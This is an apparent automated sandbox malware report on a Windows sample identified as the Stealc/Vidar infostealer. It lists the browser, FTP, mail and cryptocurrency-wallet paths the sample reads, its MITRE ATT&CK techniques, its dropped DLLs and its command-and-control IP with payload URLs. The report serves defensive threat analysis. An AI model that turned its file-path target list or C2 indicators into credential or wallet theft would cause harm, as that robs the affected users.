Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5912, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1240754798.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5912, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5912, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37	100%	URL Reputation	malware
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dllv	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpN	17%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpF	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/mozglue.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phps	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dll	21%	Virustotal		Browse
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	Virustotal		Browse
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php&	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpdll	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpHDAK	file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpN	file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	false		unknown
https://duckduckgo.com/chrome_newtab	CGCFCFBK.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	CGCFCFBK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllv	file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	CGCFCFBK.0.dr	false	0%, Virustotal, Browse	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	CGCFCFBK.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	CGCFCFBK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpF	file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.ecosia.org/newtab/	CGCFCFBK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpData	file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	CGCFCFBK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll~	file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllV	file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlld	file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phps	file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpic_qt	file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	CGCFCFBK.0.dr	false	URL Reputation: safe	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	false	0%, Virustotal, Browse	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	JJJJDAAECGHDGDGCGHDB.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllX	file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	false	0%, Virustotal, Browse	unknown
https://support.mozilla.org	CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php&	file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	CGCFCFBK.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493830283.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522677
Start date and time:	2024-09-30 15:19:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 116
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFIIEHJDBKJKECBFHDGHJKEHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGHIDGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIEBKKJJDAKFHIDBFHJDBFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGCFCFBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
